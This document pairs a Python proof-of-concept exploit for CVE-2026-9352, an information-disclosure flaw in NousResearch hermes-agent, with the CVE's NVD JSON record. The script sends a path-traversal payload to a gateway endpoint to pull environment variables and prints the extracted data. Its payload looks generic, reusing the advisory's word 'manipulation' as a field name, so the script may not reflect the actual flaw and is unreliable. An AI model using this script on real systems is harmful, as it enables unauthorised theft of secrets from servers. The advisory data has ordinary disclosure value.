CVE-2026-9352

import requests import json # CVE-2026-9352 PoC - Information Disclosure in NousResearch hermes-agent # Target: Messaging Gateway Handler component def exploit_cve_2026_9352(target_url): """ Exploit for CVE-2026-9352: Information Disclosure in hermes-agent Affected component: tools/environments/local.py _make_run_env function """ # Step 1: Identify the vulnerable endpoint endpoint = f"{target_url}/api/gateway/make_run_env" # Step 2: Craft malicious payload to trigger information disclosure # The vulnerability allows manipulation of the messaging gateway handler payload = { "action": "_make_run_env", "manipulation": { "path": "../../../../", "target": "environment_vars" } } # Step 3: Send the exploit request try: response = requests.post( endpoint, json=payload, headers={ "Content-Type": "application/json", "User-Agent": "hermes-agent-exploit-test" }, timeout=30 ) # Step 4: Extract sensitive information from response if response.status_code == 200: data = response.json() print("[+] Successfully extracted information:") print(json.dumps(data, indent=2)) return data else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None if __name__ == "__main__": # Example usage target = "http://target-server:port" exploit_cve_2026_9352(target)

{"cve": {"id": "CVE-2026-9352", "sourceIdentifier": "[email protected]", "published": "2026-05-24T05:16:40.180", "lastModified": "2026-05-26T19:50:21.747", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in NousResearch hermes-agent up to 2026.4.23. This issue affects the function _make_run_env of the file tools/environments/local.py of the component Messaging Gateway Handler. Executing a manipulation can lead to information disclosure. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://gist.github.com/YLChen-007/760b3940f708990e535214529c0c7a27", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/812215", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365315", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365315/cti", "source": "[email protected]"}]}}